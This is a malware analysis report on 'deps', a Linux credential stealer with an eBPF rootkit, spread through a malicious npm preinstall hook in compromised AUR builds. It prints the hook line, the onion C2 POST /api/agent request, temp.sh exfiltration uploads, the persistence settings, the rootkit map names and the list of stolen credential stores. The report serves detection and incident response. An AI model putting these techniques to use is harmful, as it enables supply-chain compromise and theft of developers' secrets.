Malware Analysis Report: deps
Report date: 2026-06-11
VT Link
Triage Link
Note: The following report was very hastily written by Codex.
(I have fact-checked it against the IDA decompilation though 🐉)
Scope and Handling
This report summarizes static reverse engineering of the Linux ELF malware sample named deps and static review of the recovered npm package source associated with the incident. The sample and package were treated as malicious throughout handling.
No dynamic execution of the ELF, npm package, lifecycle scripts, or package code was performed.
The binary is stripped and implemented with Rust-style async state machines. Function names in this report are analyst-assigned names based on decompiled behavior.
Incident Background
This sample was recovered from a supply-chain compromise involving an Arch User Repository (AUR) package build flow. In the reported intrusion path, the attacker modified AUR build steps so that the build process downloaded and installed a malicious npm package. That package masqueraded as atomic-lockfile version 1.4.2 and included the Linux ELF payload at src/hooks/deps.
Editors Note: It turns out Many More AUR packages were attacked today in the same way. It is very likely the same threat actor is responsible w/ the same deployed malware.
The malicious npm package used a preinstall lifecycle hook to execute the ELF automatically during npm installation. This means a developer workstation, maintainer machine, or CI/build host could execute the malware as a side effect of building or installing the compromised AUR package.
Executive Summary
deps is a Linux credential stealer with optional root-only eBPF rootkit capabilities. It is designed for developer workstations and build environments. It targets browser and Electron application data, Slack, Microsoft Teams, Discord, GitHub, npm, Vault, Docker/Podman, SSH, VPN material, shell histories, and other local developer secrets.
The recovered supply-chain package identifies itself as atomic-lockfile version 1.4.2. It contains a malicious npm lifecycle entry:
"preinstall": "./src/hooks/deps"
That lifecycle script executes the ELF directly during npm installation when lifecycle scripts are enabled. The ELF in the package source is byte-identical to the analyzed sample.
The attacker-controlled C2 endpoint was recovered from the ELF. It is not supplied by the npm package, command-line arguments, or a JavaScript wrapper. The binary decodes this onion service at runtime:
olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion
The command/result callback is POST /api/agent, sent through a local loopback/SOCKS-style transport. The local 127.0.0.1 traffic is an intermediate transport layer, not the attacker endpoint. When eBPF is available, the malware can hide local process and socket artifacts used by that transport.
File content is uploaded to temp.sh with POST /upload. The temp.sh upload destination is a storage/upload service, not the actor C2 by itself. The recovered onion /api/agent channel is the best static explanation for how upload IDs, status, tasking, and other result metadata are returned to the operator.
| Field | Value |
|---|---|
| File name | deps |
| File size | 3,040,376 bytes |
| File type | Linux ELF64, x86-64, PIE, dynamically linked |
| ELF type | ET_DYN |
| Entry point | 0xeae00 |
| SHA-256 | 6144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98B |
| MD5 | 42B59FDBE1B72895B2951412222EBF40 |
The same SHA-256 applies to both analyzed files:
deps
atomic-lockfile/package/src/hooks/deps
Supply-Chain Delivery
The recovered package source appears to be a mostly legitimate TypeScript npm package with a malicious ELF inserted into the source tree and wired into npm lifecycle execution.
Package identity:
| Field | Value |
|---|---|
| Package name | atomic-lockfile |
| Package version | 1.4.2 |
| Main entry | ./dist/cjs/index.cjs |
| ESM entry | ./dist/esm/index.js |
| CLI bin | atomic-lockfile -> ./dist/esm/cli/index.js |
| Malicious lifecycle script | preinstall: ./src/hooks/deps |
| Payload path | src/hooks/deps |
Expected launch flow:
AUR/build process fetches or installs npm package
-> npm reads package.json
-> npm lifecycle reaches preinstall
-> executes ./src/hooks/deps
-> Linux ELF malware starts
Static review of the package source outside the ELF found no JavaScript wrapper, no additional C2 configuration, no command-line arguments passed to the ELF, and no package-layer references to temp.sh, /api/agent, Discord webhooks, or a public C2 domain/IP.
Conclusion: the malicious npm package provides the execution vector. The C2 endpoint is encoded inside the ELF itself.
High-Level Capabilities
- Installs persistence using root or per-user systemd service units.
- Enforces a single active instance using
flock(). - Redirects standard input/output/error to
/dev/null. - Ignores
SIGPIPE. - Reads
/proc/self/exeto locate and copy/install its current executable. - Uses Rust async runtime logic to run collectors and transport tasks.
- Enumerates Chromium-family browser profiles and Electron app data.
- Reads SQLite cookie databases and LevelDB local storage.
- Extracts Chromium/Electron cookies and service tokens.
- Queries Slack, Microsoft Teams, Discord, GitHub, npm, and OpenAI/ChatGPT APIs with stolen tokens or cookies.
- Searches local filesystem locations for SSH keys, shell history, Vault tokens, Docker/Podman credentials, VPN material, and developer secrets.
- Uploads file content to
temp.sh. - Calls back to the recovered onion C2 over
POST /api/agent. - Uses a local loopback/SOCKS-style transport before reaching proxied destinations.
- Includes a downloader/stager path tied to
/usr/bin/monero-wallet-gui. - If sufficiently privileged, loads an embedded eBPF rootkit to hide processes, process names, and socket inodes.
Execution and Persistence
The exported main wrapper initializes runtime behavior, redirects standard descriptors, ignores SIGPIPE, and enters the Rust async application. The primary orchestrator is an async state machine that starts persistence, collectors, rootkit setup, local transport, exfiltration, and staging tasks.
Persistence routine behavior:
| Mode | Behavior |
|---|---|
| Root | Copies/installs itself under a generated path below /var/lib/, creates a system service under /etc/systemd/system/, and configures restart behavior. |
| Non-root | Uses the current user's home directory and per-user systemd units under ~/.config/systemd/user/. |
Both service templates use persistent restart behavior:
Restart=always
RestartSec=30
The generated executable and service names are not stored as a single obvious plaintext full path.
Main Logic Walkthrough
The malware's main orchestrator builds shared runtime state, starts persistence, allocates async task frames, stores vtable/function pointers in those frames, and enqueues them into the Rust runtime. Collector results are serialized into shared output objects that are later consumed by upload and C2 transport tasks.
Result flow:
collector module
-> per-service serialized result
-> shared output/state object
-> temp.sh upload and/or /api/agent command/result record
-> local loopback/SOCKS transport
-> decoded onion C2 host
Important analyst-assigned functions:
| Address | Name | Purpose |
|---|---|---|
0x125238 |
main orchestrator | Central async state machine. Starts persistence, collectors, rootkit setup, network/control routines, and cleanup. |
0x142843 |
install/persistence routine | Reads /proc/self/exe, chooses root or user install path, writes systemd service configuration, and uses flock(). |
0x10c778 |
poll_onion_c2_transport_setup_task |
Async wrapper that reaches the C2 transport setup path. |
0x11e102 |
prepare_onion_c2_transport_and_hide_sockets |
Decodes the onion C2 host, prepares local transport state, hides sockets if eBPF is active, and schedules the C2 poller. |
0x10d3d9 |
poll_api_agent_c2_via_onion_loopback_transport |
Sends POST /api/agent to the decoded onion host through the local loopback/SOCKS transport. |
0x110179 |
local network/control routine | Creates local sockets, binds/listens/accepts, and participates in local loopback transport. |
0xf9f06 |
query_openai_account_metadata_via_local_socks |
Uses stolen bearer material to query api.openai.com account metadata through local transport. |
0x1020ae / 0x1600e0 |
binary staging/transport routine | Fetches/stages an HTTP response body through the local SOCKS transport and references /usr/bin/monero-wallet-gui. |
Command and Control
Recovered C2
The actor C2 host is:
olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion
The host is not present as plaintext. Static analysis recovered it from a repeating-XOR decode path:
0x1AA60 32-byte repeating XOR key
0x2DA96 62-byte obfuscated onion-host ciphertext
0x1209f2 decode loop: ciphertext[i] ^ key[i % 32]
0x120a15 decoded host buffer stored
The runtime call chain is:
async vtable at 0x2db0b0
-> poll_onion_c2_transport_setup_task() at 0x10c778
-> prepare_onion_c2_transport_and_hide_sockets() at 0x10c7ea / 0x11e102
-> schedules /api/agent poller through vtable/function pointer at 0x2db1f0
-> poll_api_agent_c2_via_onion_loopback_transport() at 0x10d3d9
The poller formats an HTTP request equivalent to:
POST /api/agent HTTP/1.0
Host: olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion
Content-Length: <runtime length>
<serialized body>
It expects an HTTP 200-style response, locates the header/body separator, and parses the response body. This is likely used for command tasking, result acknowledgements, and relaying metadata such as temp.sh upload IDs.
Transport Layer
The /api/agent path first connects to 127.0.0.1 on a runtime-selected local port. That local service then performs outbound SOCKS-style transport to the decoded onion host. Two external destination ports are visible in the C2 poller:
TCP/80
TCP/8080
The binary contains SOCKS-related strings, including:
socks greeting write
socks greeting read
socks CONNECT write
socks CONNECT resp
socks CONNECT failed: rep=
socks5 auth rejected
Upload and Exfiltration
The malware uses separate upload and command/result channels:
| Channel | Role |
|---|---|
temp.sh POST /upload |
Uploads file content or collected result blobs. |
Onion C2 POST /api/agent |
Command/result channel and likely relay for upload IDs or task status. |
| Third-party service APIs | Used for credential validation/enrichment, not necessarily attacker-controlled C2. |
The temp.sh upload path constructs HTTP-style multipart upload requests:
POST /upload HTTP/1.1
Host: temp.sh
Connection: close
The binary checks for successful HTTP responses and returns server responses into malware state.
Credential and Data Collection
The malware targets developer and collaboration data. Confirmed or strongly supported target software, services, and data stores are listed below.
Browsers and Chromium Profile Stores
- Google Chrome
- Chrome Beta
- Chrome Dev
- Microsoft Edge
- Edge Beta
- Edge Dev
- Brave
- Brave Beta
- Brave Nightly
- Vivaldi
- Opera
- Opera Beta
- Opera Developer
- Yandex Browser
- Epic Privacy Browser
- Iridium
- Ungoogled Chromium
- Thorium
- Comodo Dragon
- SRWare Iron
- Cent Browser
- Slimjet
- Maxthon
- UC Browser
- CocCoc
- Naver Whale
- Chromium Flatpak
- Google Chrome Flatpak
- Microsoft Edge Flatpak
- Brave Flatpak
- Vivaldi Flatpak
- Opera Flatpak
- Yandex Browser Flatpak
Profile artifacts targeted include:
Local Storage/leveldbNetwork/CookiesCookiesDefault/Cookies- Chromium encrypted cookie values
Collaboration and Electron Applications
- Slack
- Slack Flatpak
- Slack Snap
- Microsoft Teams
- Microsoft Teams legacy stores
- Microsoft Teams Flatpak/browser-derived stores
- Discord
- Discord PTB
- Discord Canary
- Discord Flatpak variants
- Discord Snap variants
- Vesktop
- Legcord
- WebCord
- ArmCord
- Vencord
- NativeCord
- Abaddon
- Dissent
- Ripcord
- Datcord
Confirmed Slack paths and data include:
.config/Slack.var/app/com.slack.Slack/config/Slacksnap/slack/current/.config/Slack- Slack
dcookies for*.slack.com - Slack API enrichment through
/api/auth.test,/api/users.info, and/api/conversations.list
Confirmed Microsoft Teams and Microsoft service artifacts include:
.config/Microsoft/Microsoft Teamsauthsvc.teams.microsoft.comteams.microsoft.comskypeTokenregionGtmcache.tokenAuthorization: BearerX-Skypetoken- Teams account, tenant, and team metadata
Confirmed Discord artifacts include:
- Discord tokens from Electron/browser storage
/api/v9/users/@me/api/v9/users/@me/guilds?with_counts=true- user ID, phone, MFA state, premium/Nitro type, flags, guild ownership, permissions, and member-count metadata
Developer Accounts and Package Ecosystems
- GitHub
- npm
- OpenAI/ChatGPT account metadata
Confirmed GitHub strings and endpoints include:
api.github.comGET /user HTTP/1.1GET /user/repos?sort=stars&direction=desc&per_page=3&type=ownerAuthorization: BearerUser-Agent: git/2.39.0Bad credentials- account and repository metadata such as login, company, public repository count, followers, and repository stars
Confirmed npm strings and endpoints include:
registry.npmjs.orgGET /-/whoamiGET /-/v1/search?text=maintainer%3A...&size=3- package publishing identity and maintainer package metadata
The OpenAI/ChatGPT path queries api.openai.com with stolen bearer material for account metadata. This is credential validation/enrichment against a third-party service, not evidence that OpenAI is attacker-controlled infrastructure.
Local Developer Secrets
- Vault token files
- Docker command history and registry credential material
- Podman command history and registry credential material
- SSH keys and SSH configuration
- PuTTY private-key material
- VPN profiles and
.ovpnfiles - shell histories for bash, zsh, and fish
- command history containing
sftp,ssh-keygen,ssh-copy-id,ssh-add,rsync,putty,plink,docker,docker-compose, andpodmancommands
Confirmed local strings include:
HOME.ssh/home.bash_history.zsh_history.local/share/fish/fish_history/.vault-token/.vault/tokenX-Vault-Token.ovpnpassphrasePRIVATE KEY-----BEGINPuTTY-User-Key-File-known_hostsknown_hosts.old
The local secrets harvester filters out common noisy directories and files such as node_modules, target, __pycache__, .ds_store, thumbs.db, desktop.ini, and .lock.
eBPF Rootkit
The binary contains an embedded eBPF object and loads it directly from memory when privileges allow.
Privilege gate:
- Checks
geteuid() == 0. - Reads
/proc/self/status. - Parses
CapEff:. - Checks for effective
CAP_BPFand/orCAP_SYS_ADMIN.
The eBPF rootkit is not used for privilege escalation. It is activated only when the process already has sufficient privilege.
Pinned map paths:
/sys/fs/bpf/hidden_pids
/sys/fs/bpf/hidden_names
/sys/fs/bpf/hidden_inodes
Rootkit behavior:
- Hides selected PIDs from
/proclistings. - Hides selected names from directory listings.
- Hides selected socket inodes from
/proc/net/tcp. - Hides selected sockets from socket diagnostic netlink results.
- Kills attempted
ptraceattachments against hidden processes. - Inserts its own PID and related parent/process metadata into hidden maps.
- Hides local listener/socket inodes used by the loopback transport.
This means live response tools may miss the process or its sockets on compromised hosts where the eBPF component is active.
Staging and Monero Wallet GUI Path
The malware also appears to be able to fetch another binary from the following path:
olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion/bin/linux
olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion/bin/sha256/linux <-- just returns the expected file hash of the above fileThis part has not been analysed by me at the moment. It appears to be a cryptominer though.
VT Link
Indicators of Compromise
File Hashes
SHA256 6144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98B
MD5 42B59FDBE1B72895B2951412222EBF40
Malicious Package Indicators
Package name: atomic-lockfile
Package version: 1.4.2
Lifecycle script: "preinstall": "./src/hooks/deps"
Payload path: src/hooks/deps
Payload size: 3,040,376 bytes
Payload SHA256: 6144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98B
Network Indicators
olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion
POST /api/agent HTTP/1.0
temp.sh
POST /upload HTTP/1.1
127.0.0.1 local SOCKS-style transport
api.openai.com
discord.com
teams.microsoft.com
authsvc.teams.microsoft.com
api.github.com
registry.npmjs.org
slack.com
api.openai.com, Discord, Teams, GitHub, npm, and Slack endpoints are legitimate third-party service endpoints used for credential validation or data collection. They should not be treated as attacker-owned C2.
Persistence and Rootkit Indicators
/proc/self/exe
/var/lib/<generated_name>
/etc/systemd/system/<generated_name>.service
~/.config/systemd/user/<generated_name>.service
/sys/fs/bpf/hidden_pids
/sys/fs/bpf/hidden_names
/sys/fs/bpf/hidden_inodes
Restart=always
RestartSec=30
Staging and Suspicious Strings
/usr/bin/monero-wallet-gui
/bin/sha256/
server returned empty binary
headers too large
/tor-expert-bundle-
.tar.gz
/etc/machine-id
cmd:
CapEff:
Detection and Response Guidance
Recommended response actions:
- Treat any host where the ELF executed as credential-compromised.
- Preserve evidence with trusted offline acquisition where possible, especially if root/eBPF execution is suspected.
- Inspect system and user systemd units for unknown services with
Restart=always,RestartSec=30, and executable paths under/var/libor user configuration directories. - Inspect
/sys/fs/bpf/for unexpected pinned maps, especiallyhidden_pids,hidden_names, andhidden_inodes. - Compare multiple process and socket views. Do not rely solely on
/proc,/proc/net/tcp, or socket diagnostic netlink output if the eBPF rootkit may be active. - Review outbound connections, proxy logs, and Tor/SOCKS logs for access to
olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion. - Review HTTP/proxy logs for
temp.shandPOST /upload. - Review local loopback listeners and client sockets. The malware uses
127.0.0.1as a local redirection/proxy/control layer. - Check
/usr/bin/monero-wallet-guiand nearby filesystem metadata for unexpected replacement, creation time changes, or non-package-manager ownership. - Review AUR build logs, package caches, npm caches, and CI logs for
[email protected],src/hooks/deps, or npm lifecycle execution ofpreinstall. - Inspect suspect npm packages statically and use
--ignore-scriptsor equivalent sandbox controls when package installation is unavoidable. - Search cached packages and source trees for unexpected ELF files under source folders, especially
src/hooks/deps.
Credential rotation should include:
- Slack sessions and tokens.
- Microsoft Teams/Microsoft 365 sessions.
- Discord tokens.
- GitHub personal access tokens and SSH keys.
- npm tokens.
- Vault tokens.
- Docker/Podman registry credentials.
- SSH private keys and passphrases.
- Browser/Electron application sessions.
- Any credentials or secrets present in shell histories or developer command history.
Assessment
deps is a high-severity Linux credential stealer delivered through a malicious npm preinstall hook in a compromised supply-chain package. Its targeting is focused on developer and CI/build environments. The binary contains an encoded onion C2 endpoint and uses local loopback/SOCKS transport to reach it. It separately uploads file content to temp.sh, likely relaying resulting upload metadata through the onion /api/agent channel.
The optional eBPF component materially increases response difficulty on privileged executions because it can hide PIDs, process names, and socket inodes from common live-response views. Hosts where this malware executed should be contained, acquired with trusted tooling, cleaned of persistence and pinned BPF artifacts, and subjected to broad credential rotation.